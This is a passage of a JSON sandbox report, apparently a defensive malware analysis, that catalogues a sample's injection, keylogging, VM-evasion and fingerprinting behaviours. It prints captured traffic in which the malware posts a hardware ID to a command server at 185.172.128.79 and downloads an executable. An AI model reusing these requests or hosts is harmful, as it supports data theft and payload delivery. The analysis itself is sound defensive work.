max=100\nConnection: Keep-Alive\nContent-Type: application/x-msdos-program with response body ==>4D5A90000300000004000000FFFF0000B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000E8000000.......","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":5,"id":"network-2","sources":[{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"level":"informative","category":"General","name":"Loads the AMSI (Antimalware Scan Interface) DLL","description":"\"powershell.exe\" loaded module \"%WINDIR%\\SysWOW64\\amsi.dll\" at 72810000","origin":"Loaded Module","mitre_attack_id":"T1562.001","id":"module-8","sources":[{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"level":"informative","category":"General","name":"May execute SQL queries","description":"\"Select * from Win32_ComputerSystem\" (Source: d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe, Indicator: \"select * from win32_computersystem\")","origin":"File/Memory","mitre_attack_id":"T1005","relevance":1,"id":"string-605","sources":[{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"level":"informative","category":"General","name":"PE file contains Debug data directory","description":"\"nsu8C47.tmp\" has Debug data directory \"IMAGE_DIRECTORY_ENTRY_DEBUG\"","origin":"Static Parser","id":"static-146","sources":[{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"level":"informative","category":"General","name":"Possibly uses system binaries (Windows LOLbins)","description":"Observed system executable string:\"%WINDIR%\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe\" [Source: 00000000-00004656-00000BC0-18117738]\n Observed system executable string:\"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" [Source: 00000000-00004656-00000C41-38557648852]","origin":"File/Memory","relevance":1,"id":"string-170","sources":[{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"level":"informative","category":"General","name":"References Windows filepaths for DLLs (possible dropped files)","description":"$6d","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-625","sources":[{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"level":"informative","category":"General","name":"Sets a windows hook","description":"\"BroomSetup.exe\" sets a windows hook with filter \"WH_CBT\" for thread ID 1784","origin":"API Call","mitre_attack_id":"T1056.004","relevance":10,"id":"api-71","sources":[{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"level":"informative","category":"Installation/Persistence","name":"Creates a thread in a self process","description":"\"d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe\" creates a thread in process \"-1\" (Handle: 4294967295)\n \"InstallSetup9.exe\" creates a thread in process \"-1\" (Handle: 4294967295)\n \"288c47bbc1871b439df19ff4df68f076.exe\" creates a thread in process \"-1\" (Handle: 4294967295)\n \"BroomSetup.exe\" creates a thread in process \"-1\" (Handle: 4294967295)\n \"powershell.exe\" creates a thread in process \"-1\" (Handle: 4294967295)","origin":"API Call","mitre_attack_id":"T1055.003","relevance":3,"id":"api-264","sources":[{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"level":"informative","category":"Installation/Persistence","name":"Queries basic information of the specified process","description":"\"d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe\" queries basic process information of the \"C:\\d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe\" (UID: 6044)\n \"d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe\" queries basic process information of the \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\InstallSetup9.exe\" (UID: 6044)\n \"d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe\" queries basic process information of the \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\288c47bbc1871b439df19ff4df68f076.exe\" (UID: 6044)\n \"InstallSetup9.exe\" queries basic process information of the \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\BroomSetup.exe\" (UID: 1504)\n \"InstallSetup9.exe\" queries basic process information of the \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\nsu8C47.tmp\" (UID: 1504)\n \"288c47bbc1871b439df19ff4df68f076.exe\" queries basic process information of the \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\288c47bbc1871b439df19ff4df68f076.exe\" (UID: 4656)","origin":"API Call","mitre_attack_id":"T1057","relevance":1,"id":"api-235","sources":[{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"level":"informative","category":"Installation/Persistence","name":"Queues an Asynchronous Procedure Call (APC) in a remote process (injection)","description":"\"InstallSetup9.exe\" called \"NtQueueApcThread\" (UID: 00000000-00001504)\n \"nsu8C47.tmp\" called \"NtQueueApcThread\" (UID: 00000000-00005288)","origin":"API Call","mitre_attack_id":"T1055.004","relevance":3,"id":"api-85","sources":[{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"level":"informative","category":"Installation/Persistence","name":"Writes log files","description":"\"d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe\" writes a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Microsoft\\CLR_v4.0_32\\UsageLogs\\d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe.log\"\n \"d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe\" writes a file \"%LOCALAPPDATA%\\Microsoft\\CLR_v4.0_32\\UsageLogs\\d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe.log\"\n \"powershell.exe\" writes a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Microsoft\\CLR_v4.0_32\\UsageLogs\\powershell.exe.log\"\n \"powershell.exe\" writes a file \"%LOCALAPPDATA%\\Microsoft\\CLR_v4.0_32\\UsageLogs\\powershell.exe.log\"","origin":"API Call","mitre_attack_id":"T1074.001","relevance":1,"id":"api-159","sources":[{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"level":"informative","category":"Network Related","name":"Communicates with HTTP webserver (GET/POST requests)","description":"Found http requests in header \"GET /?format=dfg\"\n Found http requests in header \"GET /syncUpd.exe\"\n Found http requests in header \"POST /3886d2276f6914c4.php\"","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":1,"id":"network-62","sources":[{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"level":"informative","category":"Network Related","name":"Contains ability to upload file/data","description":"Found string \"POST /3886d2276f6914c4.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FBFHDBKJEGHJJJKFIIJEHost: 185.172.128.79Content-Length: 214Connection: Keep-AliveCache-Control: no-cache------FBFHDBKJEGHJJJKFIIJEContent-Disposition: form-data; name=\"hwid\"A068533DF54E758809014------FBFHDBKJEGHJJJKFIIJEContent-Disposition: form-data; name=\"build\"default5------FBFHDBKJEGHJJJKFIIJE--\"; File: \"PCAP\")","origin":"File/Memory","mitre_attack_id":"T1041","relevance":1,"id":"string-511","sources":[{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"level":"informative","category":"Network Related","name":"GETs files from a webserver (HTTPS)","description":"GET /19nVA4 HTTP/1.1User-Agent: NSIS_Inetc (Mozilla)\n Host: iplogger.com\n Connection: Keep-Alive\n Cache-Control: no-cache\n","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":3,"id":"network-72","sources":[{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"level":"informative","category":"Network Related","name":"Making HTTPS connections using secure TLS/SSL version","description":"Connection was made using TLSv1.2 [tls.handshake.version: 0x0303]","origin":"Network Traffic","mitre_attack_id":"T1573","relevance":1,"id":"network-54","sources":[{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"level":"informative","category":"Network Related","name":"Sends GET/POST requests (HTTPS)","description":"Found HTTPS GET request to https://iplogger.com/19nVA4","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":1,"id":"network-66","sources":[{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"level":"informative","category":"Network Related","name":"Shows ability to send encrypted data to the internet","description":"Sample contains ability to use Microsoft's Enhanced Cryptographic Provider APIs and contains ability to communicate with network","origin":"Indicator Combinations","mitre_attack_id":"T1119","relevance":2,"id":"summary-27","sources":[{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API possibly used to take screenshots","description":"$6e","origin":"API Call","mitre_attack_id":"T1113","relevance":3,"id":"api-105","sources":[{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used to retrieve computer name","description":"\"powershell.exe\" called \"GetComputerNameW\" (UID: 00000000-00007052)\n \"nsu8C47.tmp\" called \"GetComputerNameA\" (UID: 00000000-00005288)\n \"nsu8C47.tmp\" called \"GetComputerNameW\" (UID: 00000000-00005288)","origin":"API Call","mitre_attack_id":"T1082","relevance":2,"id":"api-141","sources":[{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used to retrieve user name","description":"\"powershell.exe\" called \"GetUserNameExW\" with parameters {\"NameFormat\": \"2\"}\n \"powershell.exe\" called \"GetUserNameW\" (UID: 00000000-00007052)\n \"powershell.exe\" called \"GetUserNameExW\" with parameters {\"NameFormat\": \"65538\"}\n \"nsu8C47.tmp\" called \"GetUserNameA\" (UID: 00000000-00005288)","origin":"API Call","mitre_attack_id":"T1033","relevance":2,"id":"api-135","sources":[{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API's typically used for searching a directory for a files","description":"$6f","origin":"API Call","mitre_attack_id":"T1083","relevance":5,"id":"api-102","sources":[{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to capture screen (API string)","description":"$70","origin":"File/Memory","mitre_attack_id":"T1113","relevance":1,"id":"string-78","sources":[{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to query registry keys (API string)","description":"Found reference to API \"RegEnumValueW\" (Indicator: \"RegEnumValue\"; Source: \"00000000-00001504.00000000.67965.00408000.00000002.mdmp\")\n Found reference to API \"RegEnumKeyW\" (Indicator: \"RegEnumKey\"; Source: \"00000000-00001504.00000000.67965.00408000.00000002.mdmp\")\n Found reference to API \"RegQueryValueExW\" (Indicator: \"RegQueryValue\"; Source: \"00000000-00001504.00000000.67965.00408000.00000002.mdmp\")\n Found reference to API \"RegOpenKeyExW\" (Indicator: \"RegOpenKey\"; Source: \"00000000-00001504.00000000.67965.00408000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1012","relevance":1,"id":"string-229","sources":[{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve information about operating system (API string)","description":"Found reference to API \"70505907228,1492,3024,,RtlGetVersion,NTDLL.dll,\"00:18:06.421\",RX=0,PX=0\" (Indicator: \"RtlGetVersion\"; Source: \"00000000-00001504.00000001.69886.02F80000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-86","sources":[{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve information about pressed keystrokes (API string)","description":"Found reference to API \"GetAsyncKeyState\" (Indicator: \"GetAsyncKeyState\"; Source: \"00000000-00001744.00000000.68130.0081E000.00000004.mdmp, 00000000-00001744.00000001.70052.0081D000.00000004.mdmp\")\n Found reference to API \"GetKeyNameTextW\" (Indicator: \"GetKeyNameText\"; Source: \"00000000-00001744.00000000.68130.0081E000.00000004.mdmp, 00000000-00001744.00000001.70052.0081D000.00000004.mdmp\")\n Found reference to API \"GetKeyState\" (Indicator: \"GetKeyState\"; Source: \"00000000-00001744.00000000.68130.0081E000.00000004.mdmp, 00000000-00001744.00000001.70052.0081D000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1056.001","relevance":1,"id":"string-88","sources":[{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve usernames and/or user information (API string)","description":"Found reference to API \"GetUserObjectInformationA\" (Indicator: \"GetUserObjectInformation\"; File: \"syncUpd_1_.exe.1537521071\")\n Found reference to API \"GetProcessWindowStation\" (Indicator: \"GetProcessWindowStation\"; File: \"syncUpd_1_.exe.1537521071\")\n Found reference to API \"OpenProcessToken\" (Indicator: \"OpenProcessToken\"; Source: \"00000000-00001504.00000000.67965.00408000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1033","relevance":1,"id":"string-121","sources":[{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Imports GetCommandLine API","description":"Observed import api \"GetCommandLineA\" which can \"Retrieves the command-line string for the current process\" [Source: Math.dll]","origin":"Static Parser","mitre_attack_id":"T1106","relevance":1,"id":"static-88","sources":[{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Read system defined device setup information from registry","description":"\"BroomSetup.exe\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\CLASS\\{4D36E968-E325-11CE-BFC1-08002BE10318}\\0001\"; Key: \"PRUNINGMODE\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":3,"id":"registry-106","sources":[{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"level":"informative","category":"System Security","name":"Contains ability to delete registry key/value (API string)","description":"Found reference to API \"RegDeleteValueW\" (Indicator: \"RegDeleteValue\"; Source: \"00000000-00001504.00000000.67965.00408000.00000002.mdmp\")\n Found reference to API \"RegDeleteKeyW\" (Indicator: \"RegDeleteKey\"; Source: \"00000000-00001504.00000000.67965.00408000.00000002.mdmp\")\n Found reference to API \"RegDeleteKeyExW\" (Indicator: \"RegDeleteKey\"; Source: \"00000000-00001504.00000000.67965.0040A000.00000004.mdmp, 00000000-00001504.00000001.69886.0040A000.00000004.mdmp\")\n Found reference to API \"RegDeleteKeyExW\" (Indicator: \"RegDeleteKey\"; Source: \"00000000-00001744.00000000.68130.00822000.00000004.mdmp, 00000000-00001744.00000002.71969.00822000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1112","relevance":1,"id":"string-230","sources":[{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"level":"informative","category":"Unusual Characteristics","name":"Possibly uses a Windows Server utility","description":"\"#c:\\windows\\system32\\licensingui.exe\" (Indicator: \"licensingui.exe\")\n \"RuntimeBroker.exe\" (Indicator: \"runtimebroker.exe\")","origin":"File/Memory","relevance":10,"id":"string-65","sources":[{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"level":"suspicious","category":"Anti-Reverse Engineering","name":"PE file has unusual entropy sections","description":".text\n .text\n .text with unusual entropies 7.9760026469\n 7.9928508644\n 7.7523765028","origin":"Static Parser","mitre_attack_id":"T1027.002","relevance":3,"id":"static-6","sources":[{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"level":"suspicious","category":"General","name":"POSTs data to a webserver","description":"\"POST /3886d2276f6914c4.php HTTP/1.1\nContent-Type: multipart/form-data; boundary=----FBFHDBKJEGHJJJKFIIJE\nHost: 185.172.128.79\nContent-Length: 214\nConnection: Keep-Alive\nCache-Control: no-cache\" with payload::==> \"------FBFHDBKJEGHJJJKFIIJE\nContent-Disposition: form-data; name=\"hwid\"\n\nA068533DF54E758809014\n------FBFHDBKJEGHJJJKFIIJE\nContent-Disposition: form-data; name=\"build\"\n\ndefault5\n------FBFHDBKJEGHJJJKFIIJE--\" HTTP/1.1 200 OK\nServer: nginx/1.18.0 (Ubuntu)\nDate: Wed\n 10 Jan 2024 04:30:11 GMT\nContent-Type: text/html; charset=UTF-8\nContent-Length: 8\nConnection: keep-alive with response body ==>596D78765932733D.......","origin":"Network Traffic","mitre_attack_id":"T1041","relevance":5,"id":"network-4","sources":[{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"level":"suspicious","category":"Network Related","name":"Uses a browser-related user-agent without launching browser","description":"Found user-agent(s): NSIS_Inetc (Mozilla)","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":10,"id":"network-22","sources":[{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"level":"suspicious","category":"Spyware/Information Retrieval","name":"Calls an API typically used for keylogging","description":"\"BroomSetup.exe\" called \"GetKeyState\" with parameters {\"nVirtKey\": \"18\"}","origin":"API Call","mitre_attack_id":"T1056.001","relevance":10,"id":"api-40","sources":[{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"level":"suspicious","category":"Spyware/Information Retrieval","name":"Calls an API typically used to enumerate process encountered in a system snapshot","description":"\"288c47bbc1871b439df19ff4df68f076.exe\" called \"Process32FirstW with parameter [System Process]\" (UID: 00000000-00004656)\n \"288c47bbc1871b439df19ff4df68f076.exe\" called \"Process32NextW with parameter System\" (UID: 00000000-00004656)\n \"288c47bbc1871b439df19ff4df68f076.exe\" called \"Process32NextW with parameter smss.exe\" (UID: 00000000-00004656)\n \"288c47bbc1871b439df19ff4df68f076.exe\" called \"Process32NextW with parameter csrss.exe\" (UID: 00000000-00004656)\n \"288c47bbc1871b439df19ff4df68f076.exe\" called \"Process32NextW with parameter wininit.exe\" (UID: 00000000-00004656)\n \"288c47bbc1871b439df19ff4df68f076.exe\" called \"Process32NextW with parameter winlogon.exe\" (UID: 00000000-00004656)","origin":"API Call","mitre_attack_id":"T1057","relevance":5,"id":"api-104","sources":[{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"level":"suspicious","category":"Spyware/Information Retrieval","name":"Calls an API typically used to find a SID for the specified name","description":"\"288c47bbc1871b439df19ff4df68f076.exe\" called \"LookupAccountNameW\" with parameters {\"AccountName\": \"%OSUSER%\"\n \"Sid\": \"239142016\"\n \"cbSid\": \"32000000\"\n \"ReferencedDomainName\": \"DESKTOP-FVVF82A\"\n \"cchReferencedDomainName\": \"0f000000\"\n \"peUse\": \"01000000\"}\n \"powershell.exe\" called \"LookupAccountNameW\" with parameters {\"AccountName\": \"7KSCRIX\"\n \"Sid\": \"80179496\"\n \"cbSid\": \"00040000\"\n \"ReferencedDomainName\": \"DESKTOP-FVVF82A\"\n \"cchReferencedDomainName\": \"0f000000\"\n \"peUse\": \"01000000\"}","origin":"API Call","mitre_attack_id":"T1087","relevance":2,"id":"api-189","sources":[{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"level":"suspicious","category":"Spyware/Information Retrieval","name":"Calls an API typically used to find and list the Windows drive types","description":"\"powershell.exe\" called \"GetDriveTypeW\" with parameter C:\\ (UID: 00000000-00007052)\n \"powershell.exe\" called \"GetDriveTypeW\" with parameter D:\\ (UID: 00000000-00007052)\n \"powershell.exe\" called \"GetDriveTypeW\" with parameter Z:\\ (UID: 00000000-00007052)","origin":"API Call","mitre_attack_id":"T1082","relevance":10,"id":"api-110","sources":[{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"level":"suspicious","category":"Spyware/Information Retrieval","name":"Calls an API typically used to retrieve the current status of the specified service","description":"\"288c47bbc1871b439df19ff4df68f076.exe\" called \"QueryServiceStatusEx\" with parameters {\"hService\": \"32e90b0\"\n \"InfoLevel\": \"0\"\n \"lpBuffer\": \"239361188\"\n \"cbBufSize\": \"36\"\n \"pcbBytesNeeded\": \"36\"}","origin":"API Call","mitre_attack_id":"T1007","relevance":5,"id":"api-170","sources":[{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"level":"malicious","category":"Anti-Detection/Stealthyness","name":"Creates a process in suspended mode (likely for process injection)","description":"\"d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe\" called \"CreateProcessW\" with parameter \"\"%TEMP%\\InstallSetup9.exe\"\" - (UID: 00000000-00006044)\n \"d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe\" called \"CreateProcessW\" with parameter \"\"%TEMP%\\288c47bbc1871b439df19ff4df68f076.exe\"\" - (UID: 00000000-00006044)","origin":"API Call","mitre_attack_id":"T1055","relevance":10,"id":"api-129","sources":[{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"level":"malicious","category":"Environment Awareness","name":"Found a Wine emulator related string","description":"\"wine_get_version\" (Indicator: \"wine_get_version\")","origin":"File/Memory","relevance":2,"id":"string-62","sources":[{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"level":"malicious","category":"Installation/Persistence","name":"Sets a computer-based training (CBT) hook","description":"\"BroomSetup.exe\" sets a callback procedure (5f8e78) using filter \"WH_CBT\" for process ID: 6d0","origin":"API Call","mitre_attack_id":"T1056.004","relevance":10,"id":"api-74","sources":[{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"level":"malicious","category":"Installation/Persistence","name":"Writes data to a remote process","description":"\"d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe\" wrote 00000004 bytes to a remote process \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\InstallSetup9.exe\" (Handle: 1488)\n \"d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe\" wrote 00000004 bytes to a remote process \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\288c47bbc1871b439df19ff4df68f076.exe\" (Handle: 1544)\n \"InstallSetup9.exe\" wrote 00000004 bytes to a remote process \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\BroomSetup.exe\" (Handle: 776)\n \"InstallSetup9.exe\" wrote 00000004 bytes to a remote process \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\nsu8C47.tmp\" (Handle: 1324)\n \"288c47bbc1871b439df19ff4df68f076.exe\" wrote 00000004 bytes to a remote process \"C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe\" (Handle: 812)","origin":"API Call","mitre_attack_id":"T1055","relevance":6,"id":"api-0","sources":[{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"level":"malicious","category":"Network Related","name":"Found a reference to an external IP address lookup service","description":"$71","origin":"File/Memory","mitre_attack_id":"T1016","relevance":6,"id":"string-56","sources":[{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"level":"malicious","category":"Network Related","name":"Found unknown user-agent(s)","description":"Found the following user-agents: NSIS_Inetc (Mozilla)","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":5,"id":"network-56","sources":[{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"level":"malicious","category":"Network Related","name":"Tries to identify its external IP address","description":"\"api.ipify.org\"\n \"iplogger.com\"","origin":"Network Traffic","mitre_attack_id":"T1016","relevance":6,"id":"network-24","sources":[{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"level":"malicious","category":"Spyware/Information Retrieval","name":"Collects system information using POST request","description":"\"POST /3886d2276f6914c4.php HTTP/1.1\nContent-Type: multipart/form-data; boundary=----FBFHDBKJEGHJJJKFIIJE\nHost: 185.172.128.79\nContent-Length: 214\nConnection: Keep-Alive\nCache-Control: no-cache\" with payload:==> \"------FBFHDBKJEGHJJJKFIIJE\nContent-Disposition: form-data; name=\"hwid\"\n\nA068533DF54E758809014\n------FBFHDBKJEGHJJJKFIIJE\nContent-Disposition: form-data; name=\"build\"\n\ndefault5\n------FBFHDBKJEGHJJJKFIIJE--\"","origin":"Network Traffic","mitre_attack_id":"T1041","relevance":10,"id":"network-40","sources":[{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"level":"malicious","category":"Unusual Characteristics","name":"Spawns a lot of processes","description":"$72","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":8,"id":"target-14","sources":[{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]}],"incidents":[{"name":"Spyware","details_count":1,"details":[{"detail":"Found a string that may be used as part of an injection method"}],"sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"},{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"name":"Persistence","details_count":2,"details":[{"detail":"Creates new processes"},{"detail":"Spawns many processes"}],"sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"},{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"name":"Fingerprint","details_count":5,"details":[{"detail":"Queries kernel debugger information"},{"detail":"Attempts to identify external IP address"},{"detail":"Queries the internet cache settings (often used to hide footprints in index.dat or internet cache)"},{"detail":"Queries sensitive IE security settings"},{"detail":"Queries the display settings of system associated file extensions"}],"sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"},{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"name":"Evasive","details_count":2,"details":[{"detail":"Marks file for deletion"},{"detail":"Found a reference to a WMI query string known to be used for VM detection"}],"sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"},{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"name":"Network","details_count":1,"details":[{"detail":"Calls an API typically used to create a HTTP or FTP session"}],"sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"},{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"name":"Network Behavior","details_count":1,"details":[{"detail":"Contacts 3 domains and 3 hosts"}],"sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"},{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"name":"Exploit","details_count":1,"details":[{"detail":"GETs/downloads executable files from web server"}],"sources":[{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]}],"intel_graph":{"map":{"Domain:api.ipify.org":{"type":"Domain","value":"api.ipify.org"},"Domain:c.pki.goog":{"type":"Domain","value":"c.pki.goog"},"Domain:iplogger.com":{"type":"Domain","value":"iplogger.com"},"File:54d3d2ab4783fc2efa04573800bd422e34cb1fb8a90c56b3e27b94ff007d7a5a":{"type":"File","value":"54d3d2ab4783fc2efa04573800bd422e34cb1fb8a90c56b3e27b94ff007d7a5a"},"File:5a960d531a74d48ad211214d5a30d93b30355ece90083c198db5fa130ad0deb1":{"type":"File","value":"5a960d531a74d48ad211214d5a30d93b30355ece90083c198db5fa130ad0deb1"},"File:5d4d4593d104c27ca0c7af8f2157aa815ca8b1d99804843c18b6a50592109686":{"type":"File","value":"5d4d4593d104c27ca0c7af8f2157aa815ca8b1d99804843c18b6a50592109686"},"File:85e03805f90f72257dd41bfdaa186237218bbb0ec410ad3b6576a88ea11dccb9":{"type":"File","value":"85e03805f90f72257dd41bfdaa186237218bbb0ec410ad3b6576a88ea11dccb9"},"File:8a36461c60bc43e5b38fe89d4ab70ef0572d741e778f2c66bca1670a95af6f09":{"type":"File","value":"8a36461c60bc43e5b38fe89d4ab70ef0572d741e778f2c66bca1670a95af6f09"},"File:bf60bbc4c462ceddf8f2a757275522079d1ed815f04e04118a04effae90e282d":{"type":"File","value":"bf60bbc4c462ceddf8f2a757275522079d1ed815f04e04118a04effae90e282d"},"File:c16fa28b088d4a725152b8af9630445496f973c3c562ed4a4464ca357b0041dd":{"type":"File","value":"c16fa28b088d4a725152b8af9630445496f973c3c562ed4a4464ca357b0041dd"},"File:c3881f5305c8dbd3bd81f01994ed179e3d0c2b3c963a9a509e236179d7a3308e":{"type":"File","value":"c3881f5305c8dbd3bd81f01994ed179e3d0c2b3c963a9a509e236179d7a3308e"},"File:d2bb091268ade68ad8121d2184d0fbce128070156304bd4de312e6fbd267409c":{"type":"File","value":"d2bb091268ade68ad8121d2184d0fbce128070156304bd4de312e6fbd267409c"},"File:d380df875713988755cadcb1718c16d66da4d2a6bea4fe45294c392e83005118":{"type":"File","value":"d380df875713988755cadcb1718c16d66da4d2a6bea4fe45294c392e83005118"},"File:d587c154ea3d33b016889939d2df7e914dd30bc1b8ca267bc316f4b98926df0d":{"type":"File","value":"d587c154ea3d33b016889939d2df7e914dd30bc1b8ca267bc316f4b98926df0d"},"File:d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b":{"type":"File","value":"d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b","verdict":{"verdict":"malicious","verdict_source":"indicator database","reasons":["File reported as packed by ClamAV antivirus","confirmed malicious file","confirmed relationship with a Threat 